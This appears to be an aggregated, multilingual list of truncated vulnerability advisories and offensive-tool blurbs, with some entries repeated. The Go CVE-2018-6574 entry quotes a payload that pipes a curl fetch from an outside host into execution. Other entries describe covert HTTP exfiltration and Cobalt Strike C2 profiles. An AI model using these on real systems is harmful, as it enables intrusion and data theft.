EUVD-2026-87253

X-SpringBoot through 6.0 exposes appKey and appSecret credentials in the GET /application/manager/select endpoint without authentication or field filtering. Unauthenticated attackers can retrieve these credentials and use them to send arbitrary SMS messages through any tenant's SMS provider,...

send

@fastify/send Sendは、ファイルシステムからファイルをHTTPレスポンスとしてストリーミングするためのライブラリです。部分応答（Ranges）、条件付きGETネゴシエーション（If-Match、If-Unmodified-Since、If-None-Match、If-Modified-Since）、高いテストカバレッジ、そしてアプリケーションやフレームワークで適切なアクションを取るために利用できる詳細なイベントをサポートしています。 インストール これは npm registry から入手できる Node.js モジュールです。インストールは npm install コマ...

CVE-2026-51990

cve-id 寄付...

CVE-2026-93365

Bludit CMS through 3.22.0 contains a missing authorization vulnerability that allows authenticated users holding the Author or Editor role to read the full content of private drafts and scheduled posts belonging to any other user, including administrators, by exploiting the content-get-list AJAX...

CVE-2026-93365

Bludit CMS through 3.22.0 contains a missing authorization vulnerability that allows authenticated users holding the Author or Editor role to read the full content of private drafts and scheduled posts belonging to any other user, including administrators, by exploiting the content-get-list AJAX...

EUVD-2026-87209

Bludit CMS through 3.22.0 contains a missing authorization vulnerability that allows authenticated users holding the Author or Editor role to read the full content of private drafts and scheduled posts belonging to any other user, including administrators, by exploiting the content-get-list AJAX...

CVE-2026-93365 Bludit CMS 3.22.0 Missing Authorization via content-get-list AJAX Endpoint

Bludit CMS through 3.22.0 contains a missing authorization vulnerability that allows authenticated users holding the Author or Editor role to read the full content of private drafts and scheduled posts belonging to any other user, including administrators, by exploiting the content-get-list AJAX...

SCANNER-INURLBR

새 저장소 검색 엔진의 고급 검색을 통해 GET / POST 캡처 이메일 및 URL을 악용할 수 있는 분석을 제공하며, 각 대상/발견된 URL에 대한 내부 사용자 정의 검증 접합을 포함합니다. https://github.com/MrCl0wnLab/SCANNER-INURLBR...

CVE-2026-61837 RabbitMQ: AMQP 1.0 management `GET /bindings` exposes full binding topology to any authenticated AMQP user without resource/management permission checks

RabbitMQ is a messaging and streaming broker. From 4.0.0 until 4.3.3, 4.2.9, 4.1.14, and 4.0.23, AMQP 1.0 management GET /bindings exposes full binding topology to any authenticated AMQP user without resource/management permission checks. the AMQP 1.0 HTTP-over-AMQP management endpoint GET...

CVE-2026-85274

Prior to version 1.7.2 , InvoicePlane is vulnerable to a Cross-Site Request Forgery (CSRF) flaw because the Recurring::stop() function is exposed as a state-changing GET route without CSRF token validation. An attacker can trick an authenticated administrator into loading malicious content that t...

CVE-2026-85274 InvoicePlane: Recurring Invoice State Change via GET Request Without CSRF Protection

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane exposes Recurring::stop as a state-changing GET route without CSRF token validation. When an authenticated administrator loads attacker-controlled content that requests...

CVE-2026-85274 InvoicePlane: Recurring Invoice State Change via GET Request Without CSRF Protection

InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane exposes Recurring::stop as a state-changing GET route without CSRF token validation. When an authenticated administrator loads attacker-controlled content that requests...

CVE-2026-77179

cve-id 捐赠 帮助维护此项目 如果您觉得此项目有用，请考虑通过 PayPal 或 ABA Mobile 支持其持续维护。 ❤️ ១០% នៃការបរិច្ចាគរបស់អ្នក នឹងត្រូវបានបរិច្ចាគជូនមន្ទីរពេទ្យគន្ធបុប្ផា។ ❤️ 每笔捐赠的百分之十将捐献给 Kantha Bopha 儿童医院。 | 选择支付方式 使用 ABA Mobile 扫描 · 点击放大 ---|--- ⚡ 简单用法 直接从 GitHub 运行最新版本的外部下载脚本： root@kitploit: bash 此命令需要 Bash 和...

ARPwner

インストール apt-get install python-pypcap...

CVE-2024-57241

CVE-2024-57241CNNVD-2024-34500830 For web applications using DEDECMS 5.71SP1 and earlier, URL redirects occur because the source code logic error of the CMS does not judge the input GET request DEDECMS 5.71SP1以下のバージョンを使用するWebアプリケーションでは、CMSのソースコード論理エラーにより入力されたGETリクエストが判断されず、URLリダイレクトが発生します。 How to...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7以前、Go 1.9.xの1.9.4以前、およびGo 1.10のプレリリース（Go 1.10rc2以前）では、go getがソースコードビルド中にリモートコマンド実行を許可します。これは、gccやclangのプラグイン機能を利用し、-fplugin=および-plugin=引数がブロックされていなかったためです。（mitreより） RCEコマンド コマンドは動的ライブラリcalcdarwin.soにコンパイルされています。現在のコマンドはcurl newton.cycarrier:8002 |...

http-protocol-exfil

http-protocol-exfil HTTP 프로토콜 버전을 사용하여 파일을 비트 단위로 보냅니다"HTTP/1.0"은 0, "HTTP/1.1"은 1을 나타냅니다. GET 요청을 사용하므로 Blue Team은 IP 주소로의 요청만 보게 됩니다. 그러나 큰 파일을 보내는 데 시간이 오래 걸립니다. 예를 들어 200KB를 보내는 데 1시간이 필요하며, 요청 수는 파일 바이트 수의 8배로 매우 많아집니다. 리스너 생성 리스너를 실행하려면 listener.py를 사용하고, 선택적 인자로 수신할 포트를 지정합니다. root@kitploi...

MalleableC2Profiles

MalleableC2Profiles Cobalt Strike 3.6+ 用の Malleable C2 プロファイル bingsearchgetonly.profile - Bing Web 検索プロファイル、GET リクエストのみ使用 cnnvideogetonly.profile - MSNBC ライブビデオストリーミングプロファイル、GET リクエストのみ使用 googledrivegetonly.profile - Google ドライブのドキュメントビューアプロファイル、GET リクエストのみ使用 microsoftupdategetonly.profile -...

CVE-2022-24124

はじめに Casdoorは、OAuth 2.0/OIDCに基づいた集中型シングルサインオン（SSO）認証プラットフォームです。 識別番号 CVE番号：CVE-2022-24124 CNPD番号：CNPD-202201-7304 影響を受けるバージョン 危険レベル：高 7.5 HIGH POC/EXP：公開済み Casdoor Casdoor 1.13.1 //1.13.1より前のバージョンが影響を受けます 脆弱性の概要...

sqlmc

SQLMC - SQL 인젝션 대량 점검기 Demo 정보 이 도구는 교육 목적으로만 사용해야 하며, 사전 상호 동의 없이 SQLMC를 사용하여 대상을 공격하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 개요 SQLMCSQL Injection Massive Checker는 도메인의 SQL 인젝션 취약점을 스캔하도록 설계된 도구입니다. 주어진 URL을 지정된 깊이까지 크롤링하고, 각 링크의 SQL 인젝션 취약점을 확인한 후 결과를 보고합니다. 기능 도메인...